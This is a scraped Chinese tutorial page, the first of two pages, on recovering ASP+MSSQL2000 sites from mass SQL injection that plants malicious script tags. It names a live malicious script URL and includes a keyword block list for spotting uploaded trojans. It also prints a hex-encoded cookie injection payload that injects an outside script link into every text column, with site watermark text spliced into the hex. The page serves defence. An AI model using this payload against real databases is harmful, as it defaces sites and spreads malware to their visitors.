主页 > 知识库 > ASP+MSSQL2000 数据库被批量注入后的解决方法第1/2页

ASP+MSSQL2000 数据库被批量注入后的解决方法第1/2页

热门标签:徐州人工智能电销机器人好用吗 外呼系统还用卡么 地图标注宅基地 长沙防封电销卡品牌 武汉营销电话机器人软件 智能电销机器人适用于哪些行业 西宁公司外呼系统平台 地图标注服务哪家好 腾讯地图标注商户关闭
mssql的每个varchar、text字段都被自动插入一段js代码,即使删除这段代码,如果没有从源头上解决,几分钟后,js代码就又会自动插入数据库。
经过飘易的观察,这很有可能是程序自动执行的,黑客先从搜索引擎google、百度等搜索存在漏洞的采用asp+mssql设计的网站,然后采用小明子这样的注入扫描工具,扫描整个网站,一旦发现有sql注入的漏洞或者上传漏洞,黑客就通过各种手段,上传自己的大马,如海阳木马;然后,黑客就把这个网站纳入他的肉鸡列表,随时在数据库里加入自己希望加的js代码,而这些代码往往是包含着众多的的病毒、木马,最终让访问受控网站的用户的电脑中毒。
虽然,可以通过sql查询分析器执行批量代换,暂时解决被插入的js代码问题,然而不从根本上解决整个网站存在的漏洞,包括程序上和服务器安全权限,那么黑客还是随时可以入侵你的网站数据库。
在sql查询分析器里可以执行以下的代码批量替换js代码:
复制代码 代码如下:

“ update 表名 set 字段名=replace(字段名,'Script Src=http://c.n%75clear3.com/css/c.js>/Script>','') ”

flymorn仔细检查了网站,发现网站存在几个安全问题:
第一,网站存在上传漏洞;虽然,上传文件需要管理员身份验证,也对上传文件进行了文件格式的认证,但管理员身份验证采用了cookies,而cookies是可以被伪造的,而且如果上传了图片后,不对该文件的内容采取任何判断的话,那么图片木马也很有可能被上传。
解决措施:1 删除上传文件功能(不太实际);2 修改上传用户验证为session验证;3 对上传后的文件内容进行验证,如果是图片木马,则删除;可以参考以下的验证代码:
复制代码 代码如下:

''===============判断上传文件是否含非法字符串start================
set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '读取文本文件
sTextAll = lcase(MyText.ReadAll)
MyText.close
set MyFile = nothing
sStr="%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
sNoString = split(sStr,"|")
for i=0 to ubound(sNoString)
if instr(sTextAll,sNoString(i)) then
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filePath)
set filedel = nothing
Response.Write("script>alert('您上传的文件有问题,上传失败!');history.back();/script>")
Response.End
end if
next
''=================判断上传文件是否含非法字符串end===================

第二,网站存在cookies注入漏洞。由于程序设计中,为了考虑到减小服务器的开销,所有用户登陆后采用cookies验证,这个cookies里保存了用户的 ID 和 NAME ,而众所周知,cookies是经常被黑客伪造的,这是其一;另外,某些外部参数 没有采用严格的 request.form 和 request.querystring 来获取内容,为了简便,采用了 request("id") 这样的方式。 

       我们知道,ASP 的request 是先从form、querystring里获取内容,如果这两个为空,则要从cookies里获取内容,大家往往在程序设计中考虑到了 request.form 和 request.querystring 的SQL注入,所以一般都会过滤 request.form 和 request.querystring进行sql注入;但却偏偏忘了过滤cookies方式下的注入。我们来看下下面这样的sql语句:
复制代码 代码如下:

SQL="select * from 表名 where id="request("id")

如果这个 id 恰巧是通过cookies来获取值的,那么想想,这是一件多么可怕的事啊!注入者可以轻松的伪造一个名为 id 的虚假 cookies ,因为这个 id 的cookies 是服务器分配给它的。这个cookies可以被伪造成类似下面这样的一段代码:
复制代码 代码如下:

dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才网(http://it.ad0.cn) 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);--

12下一页阅读全文
您可能感兴趣的文章:
  • php中防止SQL注入的最佳解决方法
  • PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等)
  • T-SQL篇如何防止SQL注入的解决方法
  • MySQL Proxy(解决注入的另一思路)
  • MySQL解决SQL注入的另类方法详解
  • SQL注入原理与解决方法代码示例
  • 通过ibatis解决sql注入问题
  • sqlserver 数据库被注入解决方案
  • SQL注入漏洞过程实例及解决方案
  • 实例介绍SQL注入以及如何解决

标签:通化 巴彦淖尔 通辽 运城 雅安 荆门 鹰潭 普洱

巨人网络通讯声明:本文标题《ASP+MSSQL2000 数据库被批量注入后的解决方法第1/2页》,本文关键词  ASP+MSSQL2000,数据库,被,批量,;如发现本文内容存在版权问题,烦请提供相关信息告之我们,我们将及时沟通与处理。本站内容系统采集于网络,涉及言论、版权与本站无关。
  • 相关文章
  • 下面列出与本文章《ASP+MSSQL2000 数据库被批量注入后的解决方法第1/2页》相关的同类信息!
  • 本页收集关于ASP+MSSQL2000 数据库被批量注入后的解决方法第1/2页的相关信息资讯供网民参考!
  • 推荐文章